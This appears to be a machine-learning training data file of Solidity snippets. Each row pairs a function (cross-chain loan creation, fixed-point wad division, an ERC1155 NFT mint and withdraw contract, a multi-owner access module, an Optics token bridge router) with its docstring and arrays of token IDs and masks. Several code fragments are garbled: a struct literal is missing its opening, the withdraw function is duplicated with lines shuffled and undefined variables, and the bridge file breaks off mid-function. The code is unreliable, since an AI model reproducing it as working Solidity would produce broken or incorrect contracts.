0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14167,
8452,
1380,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
1573,
639,
606,
1016,
18,
2469,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x0Ec000775A41113E822AC30AC46979B8F2911cE0/sources/CrosschainLoans.sol | * @notice Create a loan offer @param _lenderAuto Address of auto lender @param _secretHashB1 Hash of the secret B1 @param _secretHashAutoB1 Hash fo the secret B1 of auto lender @param _principal Principal of the loan @param _contractAddress The contract address of the ERC20 token/ actors secret hashes loan details Check allowance Transfer Token Increment loanIdCounter Add Loan to mapping | function createLoan(
address _lenderAuto,
bytes32 _secretHashB1,
bytes32 _secretHashAutoB1,
uint256 _principal,
address _contractAddress,
address _aCoinLenderAddress
) public contractIsEnabled returns (uint256 loanId) {
require(_principal > 0, "CrosschainLoans/invalid-principal-amount");
require(
assetTypes[_contractAddress].enabled == 1,
"CrosschainLoans/asset-type-disabled"
);
require(
_principal <= assetTypes[_contractAddress].maxLoanAmount &&
_principal >= assetTypes[_contractAddress].minLoanAmount,
"CrosschainLoans/invalid-principal-range"
);
ERC20 token = ERC20(_contractAddress);
uint256 allowance = token.allowance(msg.sender, address(this));
require(
allowance >= _principal,
"CrosschainLoans/insufficient-token-allowance"
);
require(
token.transferFrom(msg.sender, address(this), _principal),
"CrosschainLoans/token-transfer-failed"
);
loanIdCounter = loanIdCounter + 1;
borrower: address(0),
lender: msg.sender,
lenderAuto: _lenderAuto,
secretHashA1: "",
secretHashB1: _secretHashB1,
secretHashAutoB1: _secretHashAutoB1,
secretA1: "",
secretB1: "",
loanExpiration: 0,
acceptExpiration: 0,
createdAt: now,
principal: _principal,
interest: _principal
.mul(getAssetInterestRate(_contractAddress))
.div(1e18),
contractAddress: _contractAddress,
token: token,
state: State.Funded
});
.supply
.add(_principal);
emit LoanCreated(loanIdCounter);
return loanIdCounter;
| 5,337,796 | [
1,
1684,
279,
28183,
10067,
225,
389,
80,
2345,
4965,
5267,
434,
3656,
328,
2345,
225,
389,
5875,
2310,
38,
21,
2474,
434,
326,
4001,
605,
21,
225,
389,
5875,
2310,
4965,
38,
21,
2474,
18261,
326,
4001,
605,
21,
434,
3656,
328,
2345,
225,
389,
26138,
17010,
434,
326,
28183,
225,
389,
16351,
1887,
1021,
6835,
1758,
434,
326,
4232,
39,
3462,
1147,
19,
27141,
4001,
9869,
28183,
3189,
2073,
1699,
1359,
12279,
3155,
17883,
28183,
548,
4789,
1436,
3176,
304,
358,
2874,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
752,
1504,
304,
12,
203,
3639,
1758,
389,
80,
2345,
4965,
16,
203,
3639,
1731,
1578,
389,
5875,
2310,
38,
21,
16,
203,
3639,
1731,
1578,
389,
5875,
2310,
4965,
38,
21,
16,
203,
3639,
2254,
5034,
389,
26138,
16,
203,
3639,
1758,
389,
16351,
1887,
16,
203,
3639,
1758,
389,
69,
27055,
48,
2345,
1887,
203,
565,
262,
1071,
6835,
2520,
1526,
1135,
261,
11890,
5034,
28183,
548,
13,
288,
203,
3639,
2583,
24899,
26138,
405,
374,
16,
315,
13941,
5639,
1504,
634,
19,
5387,
17,
26138,
17,
8949,
8863,
203,
3639,
2583,
12,
203,
5411,
3310,
2016,
63,
67,
16351,
1887,
8009,
5745,
422,
404,
16,
203,
5411,
315,
13941,
5639,
1504,
634,
19,
9406,
17,
723,
17,
9278,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
389,
26138,
1648,
3310,
2016,
63,
67,
16351,
1887,
8009,
1896,
1504,
304,
6275,
597,
203,
7734,
389,
26138,
1545,
3310,
2016,
63,
67,
16351,
1887,
8009,
1154,
1504,
304,
6275,
16,
203,
5411,
315,
13941,
5639,
1504,
634,
19,
5387,
17,
26138,
17,
3676,
6,
203,
3639,
11272,
203,
203,
3639,
4232,
39,
3462,
1147,
273,
4232,
39,
3462,
24899,
16351,
1887,
1769,
203,
3639,
2254,
5034,
1699,
1359,
273,
1147,
18,
5965,
1359,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
10019,
203,
3639,
2583,
12,
203,
5411,
1699,
1359,
1545,
389,
26138,
16,
203,
5411,
315,
13941,
5639,
1504,
634,
19,
2679,
11339,
17,
2316,
17,
5965,
1359,
6,
203,
3639,
11272,
203,
203,
3639,
2583,
12,
203,
2
] |
./partial_match/1/0x8a3515f5D127342fcBba56E13514D4A2391327e6/sources/contracts/protocol/libraries/math/WadRayMath.sol | * @dev Divides two wad, rounding half up to the nearest wad @param a Wad @param b Wad @return c = a/b, in wad/ to avoid overflow, a <= (type(uint256).max - halfB) / WAD | function wadDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
assembly {
if or(
iszero(b),
iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), WAD))))
) {
revert(0, 0)
}
c := div(add(mul(a, WAD), div(b, 2)), b)
}
}
| 4,312,317 | [
1,
7244,
4369,
2795,
341,
361,
16,
13885,
8816,
731,
358,
326,
11431,
341,
361,
225,
279,
678,
361,
225,
324,
678,
361,
327,
276,
273,
279,
19,
70,
16,
316,
341,
361,
19,
358,
4543,
9391,
16,
279,
1648,
261,
723,
12,
11890,
5034,
2934,
1896,
300,
8816,
38,
13,
342,
678,
1880,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
341,
361,
7244,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
276,
13,
288,
203,
3639,
19931,
288,
203,
5411,
309,
578,
12,
203,
7734,
353,
7124,
12,
70,
3631,
203,
7734,
353,
7124,
12,
291,
7124,
12,
4521,
12,
69,
16,
3739,
12,
1717,
12,
902,
12,
20,
3631,
3739,
12,
70,
16,
576,
13,
3631,
678,
1880,
3719,
3719,
203,
5411,
262,
288,
203,
7734,
15226,
12,
20,
16,
374,
13,
203,
5411,
289,
203,
203,
5411,
276,
519,
3739,
12,
1289,
12,
16411,
12,
69,
16,
678,
1880,
3631,
3739,
12,
70,
16,
576,
13,
3631,
324,
13,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5BA0E28C4c6bd3ea771a4A37B529009a8ca141bb/sources/contracts/PlagueSupportsZachXBT.sol | * @title PlagueSupportsZachXBT @custom:website www.plaguebrands.io/zachxbt @author @ThePlagueNFT 1% of funds go to the artist, 99% goes to zachxbt directly. 100% of royalties will also go to zachxbt \____ /____ ____ | |__ \ \/ /\______ \__ ___/ / /\__ \ _/ ___\| | \ \ / | | _/ | | / /_ / __ \\ \___| Y \/ \ | | \ | | /_______ (____ /\___ >___| /___/\ \ |______ / |____| \/ \/ \/ \/ \_/ \// | contract PlagueSupportsZachXBT is ERC1155, OperatorFilterer, Ownable, ERC2981 {
using Strings for uint256;
uint256 private constant ONE_PERCENT = 10000000000000000;
address private constant FALLBACK_DEPLOYER =
0xeA9B1Ed511632e48dDD3E5A231cd2f5F3A3a4a9b;
address public artistAddress;
address public zachXBTAddress;
bool public operatorFilteringEnabled;
uint256 public price;
bool public isMintOpen;
string public baseURI = "";
pragma solidity >=0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {IERC2981, ERC2981} from "@openzeppelin/contracts/token/common/ERC2981.sol";
import {ERC1155} from "solady/src/tokens/ERC1155.sol";
import {OperatorFilterer} from "./common/OperatorFilterer.sol";
constructor() ERC1155() {
_registerForOperatorFiltering();
operatorFilteringEnabled = true;
_setDefaultRoyalty(msg.sender, 500);
price = 0.005 ether;
isMintOpen = false;
}
function mint(uint256 _amount) external payable {
require(isMintOpen, "Mint is not active.");
require(msg.value >= _amount * price, "Not enough funds.");
_mint(msg.sender, 1, _amount, "");
}
function uri(uint256 id) public view override returns (string memory) {
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, id.toString(), ".json"))
: "";
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
super.setApprovalForAll(operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes calldata data
) public override onlyAllowedOperator(from) {
super.safeTransferFrom(from, to, tokenId, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) public override onlyAllowedOperator(from) {
super.safeBatchTransferFrom(from, to, ids, amounts, data);
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC1155, ERC2981) returns (bool) {
return
ERC1155.supportsInterface(interfaceId) ||
ERC2981.supportsInterface(interfaceId);
}
function setDefaultRoyalty(
address receiver,
uint96 feeNumerator
) public onlyOwner {
_setDefaultRoyalty(receiver, feeNumerator);
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
operatorFilteringEnabled = value;
}
function _operatorFilteringEnabled() internal view override returns (bool) {
return operatorFilteringEnabled;
}
function _isPriorityOperator(
address operator
) internal pure override returns (bool) {
return operator == address(0x1E0049783F008A0085193E00003D00cd54003c71);
}
function setMintIsOpen(bool _isMintOpen) public onlyOwner {
isMintOpen = _isMintOpen;
}
function setPrice(uint256 _price) public onlyOwner {
price = _price;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
baseURI = _baseURI;
}
function setWithdrawWallets(
address artist,
address zachxbt
) public onlyOwner {
artistAddress = artist;
zachXBTAddress = zachxbt;
}
function withdraw() public onlyOwner {
uint256 amount = address(this).balance;
""
);
(bool s2, ) = payable(zachXBTAddress).call{
value: amount * (ONE_PERCENT * 99)
}("");
if (s1 && s2) return;
require(s3, "Payment failed");
}
(bool s1, ) = payable(artistAddress).call{value: amount * ONE_PERCENT}(
function withdraw() public onlyOwner {
uint256 amount = address(this).balance;
""
);
(bool s2, ) = payable(zachXBTAddress).call{
value: amount * (ONE_PERCENT * 99)
}("");
if (s1 && s2) return;
require(s3, "Payment failed");
}
(bool s3, ) = payable(FALLBACK_DEPLOYER).call{value: amount}("");
}
| 16,579,978 | [
1,
1749,
20910,
27878,
62,
497,
60,
38,
56,
632,
3662,
30,
21868,
8765,
18,
412,
20910,
2848,
5708,
18,
1594,
19,
94,
497,
6114,
88,
225,
632,
1986,
1749,
20910,
50,
4464,
540,
404,
9,
434,
284,
19156,
1960,
358,
326,
15469,
16,
14605,
9,
13998,
358,
998,
497,
6114,
88,
5122,
18,
540,
2130,
9,
434,
721,
93,
2390,
606,
903,
2546,
1960,
358,
998,
497,
6114,
88,
521,
7198,
565,
342,
7198,
565,
19608,
67,
571,
225,
571,
972,
521,
282,
18368,
225,
342,
64,
7198,
972,
282,
521,
972,
565,
19608,
19,
282,
342,
377,
342,
64,
972,
225,
521,
389,
19,
19608,
64,
96,
225,
571,
225,
521,
521,
377,
342,
225,
571,
565,
571,
225,
389,
19,
571,
565,
571,
225,
342,
377,
342,
67,
342,
1001,
1736,
225,
521,
31268,
96,
282,
1624,
225,
18368,
377,
521,
225,
571,
565,
571,
282,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
3008,
20910,
27878,
62,
497,
60,
38,
56,
353,
4232,
39,
2499,
2539,
16,
11097,
1586,
264,
16,
14223,
6914,
16,
4232,
39,
5540,
11861,
288,
203,
565,
1450,
8139,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
3238,
5381,
15623,
67,
3194,
19666,
273,
2130,
12648,
9449,
31,
203,
565,
1758,
3238,
5381,
478,
4685,
8720,
67,
1639,
22971,
654,
273,
203,
3639,
374,
6554,
37,
29,
38,
21,
2671,
10593,
2313,
1578,
73,
8875,
72,
5698,
23,
41,
25,
37,
4366,
21,
4315,
22,
74,
25,
42,
23,
37,
23,
69,
24,
69,
29,
70,
31,
203,
203,
565,
1758,
1071,
15469,
1887,
31,
203,
565,
1758,
1071,
998,
497,
60,
38,
56,
1887,
31,
203,
565,
1426,
1071,
3726,
30115,
1526,
31,
203,
565,
2254,
5034,
1071,
6205,
31,
203,
565,
1426,
1071,
15707,
474,
3678,
31,
203,
565,
533,
1071,
1026,
3098,
273,
1408,
31,
203,
203,
683,
9454,
18035,
560,
1545,
20,
18,
28,
18,
20,
31,
203,
5666,
288,
5460,
429,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
3860,
19,
5460,
429,
18,
18281,
14432,
203,
5666,
288,
7957,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
5471,
19,
7957,
18,
18281,
14432,
203,
5666,
288,
45,
654,
39,
5540,
11861,
16,
4232,
39,
5540,
11861,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
6054,
19,
654,
39,
5540,
11861,
18,
18281,
14432,
203,
5666,
288,
654,
39,
2
] |
// SPDX-License-Identifier: MIT
// File: contracts/utils/MultiOwnable.sol
pragma solidity 0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there are accounts that can be granted exclusive access to
* specific functions.
*/
abstract contract MultiOwnable {
mapping(address => bool) private _owners;
event OwnershipAdded(address indexed owner);
event OwnershipRemoved(address indexed owner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owners[msg.sender] = true;
emit OwnershipAdded(msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function isOwner(address addr) public view returns (bool) {
return _owners[addr];
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwners() {
require(
_owners[msg.sender],
"MultiOwnable: caller is not one of the owners"
);
_;
}
/**
* @dev Remove the sender from owners
*/
function renounceOwnership() public virtual onlyOwners {
removeOwnership(msg.sender);
}
/**
* @dev Adds ownership of the contract to a new account (`newOwner`).
* Can only be called by any current owner.
*/
function addOwnership(address newOwner) public virtual onlyOwners {
require(
newOwner != address(0),
"MultiOwnable: new owner is the zero address"
);
_owners[newOwner] = true;
emit OwnershipAdded(newOwner);
}
/**
* @dev Adds ownership of the contract to a new account (`newOwner`).
* Can only be called by any current owner.
*/
function removeOwnership(address owner) public virtual onlyOwners {
require(
owner != address(0),
"MultiOwnable: new owner is the zero address"
);
_owners[owner] = false;
emit OwnershipRemoved(owner);
}
}
| * @dev Returns the address of the current owner./ | function isOwner(address addr) public view returns (bool) {
return _owners[addr];
}
| 13,018,454 | [
1,
1356,
326,
1758,
434,
326,
783,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
353,
5541,
12,
2867,
3091,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
995,
414,
63,
4793,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity >=0.6.11;
// ============ Internal Imports ============
import {TokenRegistry} from "./TokenRegistry.sol";
import {Router} from "../Router.sol";
import {IBridgeToken} from "../../interfaces/bridge/IBridgeToken.sol";
import {BridgeMessage} from "./BridgeMessage.sol";
// ============ External Imports ============
import {Home} from "@celo-org/optics-sol/contracts/Home.sol";
import {TypeCasts} from "@celo-org/optics-sol/contracts/XAppConnectionManager.sol";
import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* @title BridgeRouter
*/
contract BridgeRouter is Router, TokenRegistry {
using TypedMemView for bytes;
using TypedMemView for bytes29;
using BridgeMessage for bytes29;
using SafeERC20 for IERC20;
// ======== Constructor =========
constructor(address _xAppConnectionManager)
TokenRegistry(_xAppConnectionManager)
{} // solhint-disable-line no-empty-blocks
// ======== External: Handle =========
/**
* @notice Handles an incoming message
* @param _origin The origin domain
* @param _sender The sender address
* @param _message The message
*/
function handle(
uint32 _origin,
bytes32 _sender,
bytes memory _message
) external override onlyReplica onlyRemoteRouter(_origin, _sender) {
// parse tokenId and action from message
bytes29 _msg = _message.ref(0).mustBeMessage();
bytes29 _tokenId = _msg.tokenId();
bytes29 _action = _msg.action();
// handle message based on the intended action
if (_action.isTransfer()) {
_handleTransfer(_tokenId, _action);
} else if (_action.isDetails()) {
_handleDetails(_tokenId, _action);
} else {
require(false, "!valid action");
}
}
// ======== External: Send Token =========
/**
* @notice Send tokens to a recipient on a remote chain
* @param _token The token address
* @param _amnt The amount
* @param _destination The destination domain
* @param _recipient The recipient address
*/
function send(
address _token,
uint256 _amnt,
uint32 _destination,
bytes32 _recipient
) external {
// get remote BridgeRouter address; revert if not found
bytes32 _remote = _mustHaveRemote(_destination);
// remove tokens from circulation on this chain
IERC20 _bridgeToken = IERC20(_token);
if (_isLocalOrigin(_bridgeToken)) {
// if the token originates on this chain, hold the tokens in escrow in the Router
_bridgeToken.safeTransferFrom(msg.sender, address(this), _amnt);
} else {
// if the token originates on a remote chain, burn the representation tokens on this chain
_downcast(_bridgeToken).burn(msg.sender, _amnt);
}
// format Transfer Tokens action
bytes29 _action = BridgeMessage.formatTransfer(_recipient, _amnt);
// send message to remote chain via Optics
Home(xAppConnectionManager.home()).enqueue(
_destination,
_remote,
BridgeMessage.formatMessage(_formatTokenId(_token), _action)
);
}
// ======== External: Update Token Details =========
/**
* @notice Update the token metadata on another chain
* @param _token The token address
* @param _destination The destination domain
*/
// TODO: people can call this for nonsense non-ERC-20 tokens
// name, symbol, decimals could be nonsense
// remote chains will deploy a token contract based on this message
function updateDetails(address _token, uint32 _destination) external {
require(_isLocalOrigin(_token), "!local origin");
// get remote BridgeRouter address; revert if not found
bytes32 _remote = _mustHaveRemote(_destination);
// format Update Details message
IBridgeToken _bridgeToken = IBridgeToken(_token);
bytes29 _action = BridgeMessage.formatDetails(
TypeCasts.coerceBytes32(_bridgeToken.name()),
TypeCasts.coerceBytes32(_bridgeToken.symbol()),
_bridgeToken.decimals()
);
// send message to remote chain via Optics
Home(xAppConnectionManager.home()).enqueue(
_destination,
_remote,
BridgeMessage.formatMessage(_formatTokenId(_token), _action)
);
}
// ============ Internal: Send / UpdateDetails ============
/**
* @notice Given a tokenAddress, format the tokenId
* identifier for the message.
* @param _token The token address
* @param _tokenId The bytes-encoded tokenId
*/
function _formatTokenId(address _token)
internal
view
returns (bytes29 _tokenId)
{
TokenId memory _tokId = _tokenIdFor(_token);
_tokenId = BridgeMessage.formatTokenId(_tokId.domain, _tokId.id);
}
// ============ Internal: Handle ============
/**
* @notice Handles an incoming Transfer message.
*
* If the token is of local origin, the amount is sent from escrow.
* Otherwise, a representation token is minted.
*
* @param _tokenId The token ID
* @param _action The action
*/
function _handleTransfer(bytes29 _tokenId, bytes29 _action)
internal
typeAssert(_tokenId, BridgeMessage.Types.TokenId)
typeAssert(_action, BridgeMessage.Types.Transfer)
{
// get the token contract for the given tokenId on this chain;
// (if the token is of remote origin and there is
// no existing representation token contract, the TokenRegistry will deploy a new one)
IERC20 _token = _ensureToken(_tokenId);
// send the tokens into circulation on this chain
if (_isLocalOrigin(_token)) {
// if the token is of local origin, the tokens have been held in escrow in this contract
// while they have been circulating on remote chains;
// transfer the tokens to the recipient
_token.safeTransfer(_action.evmRecipient(), _action.amnt());
} else {
// if the token is of remote origin, mint the tokens to the recipient on this chain
_downcast(_token).mint(_action.evmRecipient(), _action.amnt());
}
}
/**
* @notice Handles an incoming Details message.
* @param _tokenId The token ID
* @param _action The action
*/
function _handleDetails(bytes29 _tokenId, bytes29 _action)
internal
typeAssert(_tokenId, BridgeMessage.Types.TokenId)
typeAssert(_action, BridgeMessage.Types.Details)
{
// get the token contract deployed on this chain
IERC20 _token = _ensureToken(_tokenId);
// require that the token is of remote origin
// (otherwise, the BridgeRouter did not deploy the token contract,
// and therefore cannot update its metadata)
require(!_isLocalOrigin(_token), "!remote origin");
// update the token metadata
